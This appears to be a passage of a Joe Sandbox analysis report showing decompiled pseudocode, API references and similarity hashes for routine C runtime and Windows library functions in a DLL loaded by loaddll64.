				if (_t200 - _v100 < 0) goto 0x354e8e4f;
				if (_t200 - _v96 < 0) goto 0x354e8f70;
				if (_t200 - _v92 < 0) goto 0x354e8e4f;
				if (_t200 - _v88 < 0) goto 0x354e8f70;
				if (_t200 - _v84 < 0) goto 0x354e8e4f;
				if (_t200 - _v80 < 0) goto 0x354e8f70;
				if (_t200 - _v76 < 0) goto 0x354e8e4f;
				if ((_t200 & 0x0000ffff) - _v72 - 9 > 0) goto 0x354e8f70;
				goto 0x354e8f6b;
				if (_t200 - _v68 >= 0) goto 0x354e8f70;
				if ((_t200 & 0x0000ffff) - r15d != 0xffffffff) goto 0x354e8f93;
				_t100 = _t390 - 0x41; // -65
				_t101 = _t390 - 0x61; // -97
				_t185 = _t101;
				if (_t100 - 0x19 <= 0) goto 0x354e8f83;
				if (_t185 - 0x19 > 0) goto 0x354e8f90;
				if (_t185 - 0x19 > 0) goto 0x354e8f8b;
				goto 0x354e8f93;
				_t405 =  *_t397;
				if (((_t200 & 0x0000ffff) + 0x1ffffffa9 | 0xffffffff) - r14d >= 0) goto 0x354e8fd7;
				_t201 =  *_t405 & 0x0000ffff;
				_t254 = _t382 + _t390;
				_t261 = _t254;
				_t107 =  &(_t405[1]); // 0x2
				r8d = 0x660;
				 *_t397 = _t107;
				_t258 = ( !=  ? _t255 : _t255 | 0x00000002) | (r13d & 0xffffff00 | _t254 - r13d * r14d > 0x00000000 | r13d & 0xffffff00 | _t260 - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0x354e8db7;
				_t409 = _a8;
				_t109 = _t405 - 2; // -2
				_t384 = _t109;
				_t407 = _v64;
				 *_t397 = _t384;
				if (_t201 == 0) goto 0x354e9008;
				if ( *_t384 == _t201) goto 0x354e9008;
				E00007FFE7FFE354EB420(_t384);
				 *_t384 = 0x16;
				E00007FFE7FFE354E9744();
				if ((sil & 0x00000008) != 0) goto 0x354e9024;
				_t385 = _t397[1];
				 *_t397 = _t407;
				if (_t385 == 0) goto 0x354e901d;
				 *_t385 = _t407;
				goto 0x354e90a8;
				r8d = 0x80000000;
				_t114 = _t405 - 1; // -1
				r9d = _t114;
				if ((sil & 0x00000004) != 0) goto 0x354e904c;
				if ((sil & 0x00000001) == 0) goto 0x354e908f;
				if ((sil & 0x00000002) == 0) goto 0x354e9047;
				if (_t261 - r8d <= 0) goto 0x354e9095;
				goto 0x354e904c;
				if (_t261 - r9d <= 0) goto 0x354e9097;
				 *((char*)(_t409 + 0x30)) = 1;
				 *((intOrPtr*)(_t409 + 0x2c)) = 0x22;
				if ((_t258 & 0x00000001) != 0) goto 0x354e9067;
				goto 0x354e9097;
				_t395 = _t397[1];
				if ((_t258 & 0x00000002) == 0) goto 0x354e907f;
				if (_t395 == 0) goto 0x354e907a;
				 *_t395 =  *_t397;
				goto 0x354e90a8;
				if (_t395 == 0) goto 0x354e908a;
				 *_t395 =  *_t397;
				goto 0x354e90a8;
				if ((sil & 0x00000002) == 0) goto 0x354e9097;
				_t396 = _t397[1];
				if (_t396 == 0) goto 0x354e90a6;
				 *_t396 =  *_t397;
				return  ~(_t261 | 0xffffffff);
			}

0x7ffe354e893c
0x7ffe354e893c
0x7ffe354e893c
0x7ffe354e893c
0x7ffe354e8941
0x7ffe354e8958
0x7ffe354e895b
0x7ffe354e895e
0x7ffe354e8962
0x7ffe354e8965
0x7ffe354e896d
0x7ffe354e8973
0x7ffe354e8975
0x7ffe354e897a
0x7ffe354e8980
0x7ffe354e8985
0x7ffe354e898a
0x7ffe354e898c
0x7ffe354e8993
0x7ffe354e8995
0x7ffe354e899a
0x7ffe354e899d
0x7ffe354e89a1
0x7ffe354e89a4
0x7ffe354e89af
0x7ffe354e89b4
0x7ffe354e89b9
0x7ffe354e89c0
0x7ffe354e89c9
0x7ffe354e89cc
0x7ffe354e89db
0x7ffe354e89de
0x7ffe354e89e5
0x7ffe354e89e7
0x7ffe354e89ec
0x7ffe354e89ee
0x7ffe354e89f8
0x7ffe354e8a0a
0x7ffe354e8a1a
0x7ffe354e8a23
0x7ffe354e8a25
0x7ffe354e8a28
0x7ffe354e8a2b
0x7ffe354e8a2f
0x7ffe354e8a32
0x7ffe354e8a42
0x7ffe354e8a4f
0x7ffe354e8a5c
0x7ffe354e8a64
0x7ffe354e8a6a
0x7ffe354e8a72
0x7ffe354e8a72
0x7ffe354e8a76
0x7ffe354e8a7e
0x7ffe354e8a84
0x7ffe354e8a8c
0x7ffe354e8a92
0x7ffe354e8a9a
0x7ffe354e8aa2
0x7ffe354e8aaa
0x7ffe354e8ab2
0x7ffe354e8aba
0x7ffe354e8ac2
0x7ffe354e8aca
0x7ffe354e8ad2
0x7ffe354e8ada
0x7ffe354e8ae2
0x7ffe354e8aea
0x7ffe354e8af2
0x7ffe354e8afa
0x7ffe354e8b02
0x7ffe354e8b0d
0x7ffe354e8b1f
0x7ffe354e8b28
0x7ffe354e8b32
0x7ffe354e8b39
0x7ffe354e8b41
0x7ffe354e8b4b
0x7ffe354e8b59
0x7ffe354e8b61
0x7ffe354e8b6a
0x7ffe354e8b78
0x7ffe354e8b80
0x7ffe354e8b89
0x7ffe354e8b97
0x7ffe354e8b9f
0x7ffe354e8ba8
0x7ffe354e8bb6
0x7ffe354e8bbe
0x7ffe354e8bc6
0x7ffe354e8bd4
0x7ffe354e8bde
0x7ffe354e8bea
0x7ffe354e8bf5
0x7ffe354e8c02
0x7ffe354e8c0d
0x7ffe354e8c1a
0x7ffe354e8c25
0x7ffe354e8c32
0x7ffe354e8c3d
0x7ffe354e8c4a
0x7ffe354e8c55
0x7ffe354e8c62
0x7ffe354e8c6d
0x7ffe354e8c7a
0x7ffe354e8c81
0x7ffe354e8c8e
0x7ffe354e8c95
0x7ffe354e8ca2
0x7ffe354e8ca9
0x7ffe354e8cb6
0x7ffe354e8cbd
0x7ffe354e8cd4
0x7ffe354e8cd6
0x7ffe354e8ce3
0x7ffe354e8ced
0x7ffe354e8cf2
0x7ffe354e8cf8
0x7ffe354e8cf8
0x7ffe354e8cfb
0x7ffe354e8d00
0x7ffe354e8d09
0x7ffe354e8d0e
0x7ffe354e8d13
0x7ffe354e8d15
0x7ffe354e8d18
0x7ffe354e8d1e
0x7ffe354e8d21
0x7ffe354e8d21
0x7ffe354e8d25
0x7ffe354e8d28
0x7ffe354e8d2f
0x7ffe354e8d34
0x7ffe354e8d3c
0x7ffe354e8d40
0x7ffe354e8d46
0x7ffe354e8d4b
0x7ffe354e8d4d
0x7ffe354e8d52
0x7ffe354e8d58
0x7ffe354e8d5d
0x7ffe354e8d63
0x7ffe354e8d69
0x7ffe354e8d6f
0x7ffe354e8d71
0x7ffe354e8d77
0x7ffe354e8d79
0x7ffe354e8d7d
0x7ffe354e8d7d
0x7ffe354e8d81
0x7ffe354e8d84
0x7ffe354e8d8f
0x7ffe354e8d99
0x7ffe354e8d9d
0x7ffe354e8da2
0x7ffe354e8da5
0x7ffe354e8da5
0x7ffe354e8da8
0x7ffe354e8dae
0x7ffe354e8db4
0x7ffe354e8dbb
0x7ffe354e8dc5
0x7ffe354e8dcd
0x7ffe354e8dd6
0x7ffe354e8de0
0x7ffe354e8dee
0x7ffe354e8df6
0x7ffe354e8dff
0x7ffe354e8e0d
0x7ffe354e8e15
0x7ffe354e8e1e
0x7ffe354e8e2c
0x7ffe354e8e34
0x7ffe354e8e41
0x7ffe354e8e47
0x7ffe354e8e4d
0x7ffe354e8e54
0x7ffe354e8e61
0x7ffe354e8e6f
0x7ffe354e8e78
0x7ffe354e8e83
0x7ffe354e8e8c
0x7ffe354e8e97
0x7ffe354e8ea0
0x7ffe354e8eab
0x7ffe354e8eb4
0x7ffe354e8ebf
0x7ffe354e8ec8
0x7ffe354e8ed3
0x7ffe354e8ee0
0x7ffe354e8eeb
0x7ffe354e8ef8
0x7ffe354e8eff
0x7ffe354e8f0c
0x7ffe354e8f13
0x7ffe354e8f20
0x7ffe354e8f27
0x7ffe354e8f34
0x7ffe354e8f3b
0x7ffe354e8f52
0x7ffe354e8f59
0x7ffe354e8f63
0x7ffe354e8f6e
0x7ffe354e8f73
0x7ffe354e8f79
0x7ffe354e8f79
0x7ffe354e8f7c
0x7ffe354e8f81
0x7ffe354e8f86
0x7ffe354e8f8e
0x7ffe354e8f93
0x7ffe354e8f99
0x7ffe354e8f9b
0x7ffe354e8fa5
0x7ffe354e8fb6
0x7ffe354e8fbd
0x7ffe354e8fc4
0x7ffe354e8fcd
0x7ffe354e8fd0
0x7ffe354e8fd2
0x7ffe354e8fd7
0x7ffe354e8fdf
0x7ffe354e8fdf
0x7ffe354e8fe3
0x7ffe354e8feb
0x7ffe354e8ff1
0x7ffe354e8ff6
0x7ffe354e8ff8
0x7ffe354e8ffd
0x7ffe354e9003
0x7ffe354e900c
0x7ffe354e900e
0x7ffe354e9012
0x7ffe354e9018
0x7ffe354e901a
0x7ffe354e901f
0x7ffe354e9024
0x7ffe354e902a
0x7ffe354e902a
0x7ffe354e9032
0x7ffe354e9038
0x7ffe354e903e
0x7ffe354e9043
0x7ffe354e9045
0x7ffe354e904a
0x7ffe354e904e
0x7ffe354e9056
0x7ffe354e9060
0x7ffe354e9065
0x7ffe354e9067
0x7ffe354e906d
0x7ffe354e9072
0x7ffe354e9077
0x7ffe354e907d
0x7ffe354e9082
0x7ffe354e9087
0x7ffe354e908d
0x7ffe354e9093
0x7ffe354e9097
0x7ffe354e909e
0x7ffe354e90a3
0x7ffe354e90c2

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E8980
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E8D58
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354E9003

Strings

f, xrefs: 00007FFE354E8AA2
-, xrefs: 00007FFE354E8A16
0, xrefs: 00007FFE354E8DA8
p, xrefs: 00007FFE354E8A32
p, xrefs: 00007FFE354E8AAA

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$0$f$p$p
API String ID: 3215553584-1865143739
Opcode ID: 3bf02160523cc795b8287601120242312cc0e9fc0a46e7f1dbb3d85bfcf254c4
Instruction ID: 855db03802498bc9b4392990049df69246653a2f4f1eb6dc46a0840ca7ecf379
Opcode Fuzzy Hash: 3bf02160523cc795b8287601120242312cc0e9fc0a46e7f1dbb3d85bfcf254c4
Instruction Fuzzy Hash: 9312B271E1934386FF289A14D04C6797A62FBD0F54FA64131E68B467E8DF3DE580AB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F2FA0 Relevance: 13.7, APIs: 9, Instructions: 181COMMON

Download Yara Rule

APIs

CreatePen.GDI32 ref: 00007FFE354F2FCD
SelectObject.GDI32 ref: 00007FFE354F2FE5
Polyline.GDI32 ref: 00007FFE354F3230
MoveToEx.GDI32 ref: 00007FFE354F325C
LineTo.GDI32 ref: 00007FFE354F3285
MoveToEx.GDI32 ref: 00007FFE354F32B1
LineTo.GDI32 ref: 00007FFE354F32DA
SelectObject.GDI32 ref: 00007FFE354F32ED
DeleteObject.GDI32 ref: 00007FFE354F32F8

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Object$LineMoveSelect$CreateDeletePolyline
String ID:
API String ID: 1917832262-0
Opcode ID: 43512701d7355e0956f5cb1433a41ae321c0b5e41867a7adc5de44204bc134c7
Instruction ID: 20ad3f023b429a2901925692f5b47789261b8c28ea60d8cefc1441ff1e901b15
Opcode Fuzzy Hash: 43512701d7355e0956f5cb1433a41ae321c0b5e41867a7adc5de44204bc134c7
Instruction Fuzzy Hash: 0B911176608B458BDB65CB28E05532AFBA5F7C8B44F104226DACE93B68DF3CE5458F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354ED8F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00007FFE7FFE354ED8F0(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				void* _t37;
				signed long long _t57;
				intOrPtr _t61;
				signed long long _t72;
				void* _t75;
				signed long long _t76;
				long long _t82;
				void* _t86;
				signed long long _t90;
				signed long long _t91;
				WCHAR* _t93;
				long _t96;
				void* _t99;
				WCHAR* _t104;

				 *((long long*)(_t86 + 8)) = __rbx;
				 *((long long*)(_t86 + 0x10)) = _t82;
				 *((long long*)(_t86 + 0x18)) = __rsi;
				r15d = __ecx;
				_t90 =  *0x3555e008; // 0x393f49ce3de2
				_t76 = _t75 | 0xffffffff;
				_t72 = _t90 ^  *(0x7ffe354e0000 + 0x7f840 + _t104 * 8);
				asm("dec eax");
				if (_t72 == _t76) goto 0x354eda36;
				if (_t72 == 0) goto 0x354ed959;
				_t57 = _t72;
				goto 0x354eda38;
				if (__r8 == __r9) goto 0x354eda1b;
				_t61 =  *((intOrPtr*)(0x7ffe354e0000 + 0x7f7a0 + __rsi * 8));
				if (_t61 == 0) goto 0x354ed980;
				if (_t61 != _t76) goto 0x354eda75;
				goto 0x354eda07;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t99, _t96);
				if (_t57 != 0) goto 0x354eda55;
				if (GetLastError() != 0x57) goto 0x354ed9f5;
				_t14 = _t57 - 0x50; // -80
				_t37 = _t14;
				r8d = _t37;
				if (E00007FFE7FFE354EF5B0(_t90) == 0) goto 0x354ed9f5;
				r8d = _t37;
				if (E00007FFE7FFE354EF5B0(_t90) == 0) goto 0x354ed9f5;
				r8d = 0;
				LoadLibraryExW(_t93, _t75);
				if (_t57 != 0) goto 0x354eda55;
				 *((intOrPtr*)(0x7ffe354e0000 + 0x7f7a0 + __rsi * 8)) = _t76;
				if (__r8 + 4 != __r9) goto 0x354ed962;
				_t91 =  *0x3555e008; // 0x393f49ce3de2
				asm("dec eax");
				 *(0x7ffe354e0000 + 0x7f840 + _t104 * 8) = _t76 ^ _t91;
				return 0;
			}

0x7ffe354ed8f0
0x7ffe354ed8f5
0x7ffe354ed8fa
0x7ffe354ed90c
0x7ffe354ed927
0x7ffe354ed92e
0x7ffe354ed938
0x7ffe354ed940
0x7ffe354ed946
0x7ffe354ed94f
0x7ffe354ed951
0x7ffe354ed954
0x7ffe354ed95c
0x7ffe354ed965
0x7ffe354ed970
0x7ffe354ed975
0x7ffe354ed97b
0x7ffe354ed98d
0x7ffe354ed993
0x7ffe354ed99f
0x7ffe354ed9ae
0x7ffe354ed9b0
0x7ffe354ed9b0
0x7ffe354ed9b6
0x7ffe354ed9c7
0x7ffe354ed9c9
0x7ffe354ed9dd
0x7ffe354ed9df
0x7ffe354ed9e7
0x7ffe354ed9f3
0x7ffe354ed9ff
0x7ffe354eda0e
0x7ffe354eda14
0x7ffe354eda28
0x7ffe354eda2e
0x7ffe354eda54

APIs

FreeLibrary.KERNEL32 ref: 00007FFE354EDA6F
GetProcAddress.KERNEL32 ref: 00007FFE354EDA7B

Strings

ext-ms-, xrefs: 00007FFE354ED9CC
api-ms-, xrefs: 00007FFE354ED9B9

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 0c6698adf364fca3294d1cea9b6c9e04e4170ebc5fe981ec924076e30e6001fe
Instruction ID: 2cbc4d89bf3ecc02a9de58cc08fc7cc730b056d627971b3b7674c02c9aefa1ae
Opcode Fuzzy Hash: 0c6698adf364fca3294d1cea9b6c9e04e4170ebc5fe981ec924076e30e6001fe
Instruction Fuzzy Hash: DE41E432B19B0391FB1A9B16A8081752A92BF85FE0F5A4639CD1E477A4EE3CF541A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EB8D4 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFE354EB8E3
FlsGetValue.KERNEL32 ref: 00007FFE354EB8F8
FlsSetValue.KERNEL32 ref: 00007FFE354EB919
FlsSetValue.KERNEL32 ref: 00007FFE354EB946
FlsSetValue.KERNEL32 ref: 00007FFE354EB957
FlsSetValue.KERNEL32 ref: 00007FFE354EB968
SetLastError.KERNEL32 ref: 00007FFE354EB983

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 2a24962a4ae2edce6784a866bb76ad44041d802b6157795572d3a238faec6782
Instruction ID: 9ef5325da809f02f471b388fc76d953b02d776a5804c1cd12b3b27c258ad688f
Opcode Fuzzy Hash: 2a24962a4ae2edce6784a866bb76ad44041d802b6157795572d3a238faec6782
Instruction Fuzzy Hash: 18214C34E4E74746FA6C6722554D23A69525FC5FB0F264A38E97F077F6DE2CB4406200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F28C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFE354F28F1
GetLastError.KERNEL32 ref: 00007FFE354F28FD
CloseHandle.KERNEL32 ref: 00007FFE354F2915
CreateFileW.KERNEL32 ref: 00007FFE354F2940
WriteConsoleW.KERNEL32 ref: 00007FFE354F295F

Strings

CONOUT$, xrefs: 00007FFE354F2921

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8beb9e43c57309afe536eff65cc898a76b098485244b241a9a6a9293252ff3c
Instruction ID: abafcea07733fb80f16b63d53240bdf21246b1cbf849970ff018c782265f8d4b
Opcode Fuzzy Hash: f8beb9e43c57309afe536eff65cc898a76b098485244b241a9a6a9293252ff3c
Instruction Fuzzy Hash: 2911D331B18B4386EB508B56E8587297EA0FB88FE4F440234DA2E877B4DF3CE6048744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E9C24 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFE354E9C49
GetProcAddress.KERNEL32 ref: 00007FFE354E9C5F
FreeLibrary.KERNEL32 ref: 00007FFE354E9C86

Strings

mscoree.dll, xrefs: 00007FFE354E9C40
CorExitProcess, xrefs: 00007FFE354E9C58

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b9ddca252de5587d32854ed20271dee5b9467b0203a57a46f89d53908150ef97
Instruction ID: 81b1993a849a5abee85a21b30cdbf5e0594c563f8ba3ff2e6b9454889fbf053d
Opcode Fuzzy Hash: b9ddca252de5587d32854ed20271dee5b9467b0203a57a46f89d53908150ef97
Instruction Fuzzy Hash: 2BF04F69A18B0391EF249B24A4583796B71EF89FA1F540235D96E453F4CF3CE244A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EEB68 Relevance: 7.6, APIs: 5, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00007FFE7FFE354EEB68(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0x354eeb9a;
				if (sil >= 0) goto 0x354eeb9a;
				E00007FFE7FFE354F1CEC(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0x354eebf1;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0x354eebb5;
				asm("dec eax");
				if (_t42 >= 0) goto 0x354eebb5;
				E00007FFE7FFE354F1CEC(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0x354eebf1;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0x354eebd1;
				asm("dec eax");
				if (_t43 >= 0) goto 0x354eebd1;
				E00007FFE7FFE354F1CEC(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0x354eebf1;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0x354eebf1;
				asm("dec eax");
				if (_t44 >= 0) goto 0x354eebf1;
				if ((dil & 0x00000010) == 0) goto 0x354eebee;
				E00007FFE7FFE354F1CEC(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0x354eec0b;
				asm("dec eax");
				if (_t46 >= 0) goto 0x354eec0b;
				E00007FFE7FFE354F1CEC(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}

0x7ffe354eeb68
0x7ffe354eeb6d
0x7ffe354eeb7c
0x7ffe354eeb84
0x7ffe354eeb89
0x7ffe354eeb90
0x7ffe354eeb95
0x7ffe354eeb98
0x7ffe354eeb9f
0x7ffe354eeba2
0x7ffe354eeba4
0x7ffe354eeba9
0x7ffe354eebab
0x7ffe354eebb0
0x7ffe354eebb3
0x7ffe354eebb5
0x7ffe354eebb9
0x7ffe354eebbb
0x7ffe354eebc0
0x7ffe354eebc7
0x7ffe354eebcc
0x7ffe354eebcf
0x7ffe354eebd1
0x7ffe354eebd5
0x7ffe354eebd7
0x7ffe354eebdc
0x7ffe354eebe2
0x7ffe354eebe9
0x7ffe354eebee
0x7ffe354eebf1
0x7ffe354eebf5
0x7ffe354eebf7
0x7ffe354eebfc
0x7ffe354eec03
0x7ffe354eec21

APIs

_set_statfp.LIBCMT ref: 00007FFE354EEB90
_set_statfp.LIBCMT ref: 00007FFE354EEBAB
_set_statfp.LIBCMT ref: 00007FFE354EEBC7
_set_statfp.LIBCMT ref: 00007FFE354EEC03

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: fc2f76716917edeea79f2d35986c40ea1bb698eb9e2e32f596387757052cb74d
Instruction ID: 7d76428912a76d5eb67075b2c5e1026d7c051c7b14f22f91ae05494c935b10a5
Opcode Fuzzy Hash: fc2f76716917edeea79f2d35986c40ea1bb698eb9e2e32f596387757052cb74d
Instruction Fuzzy Hash: 1011C136E0CB9309F65C9168E49E37918506FD8F74E260634FA6F163F6CE2CA859A204

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EBB14 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB33
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB52
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB7A
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB8B
FlsSetValue.KERNEL32(?,?,?,00007FFE354E9403,?,?,00000000,00007FFE354E969E,?,?,?,?,?,00007FFE354E962A), ref: 00007FFE354EBB9C

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
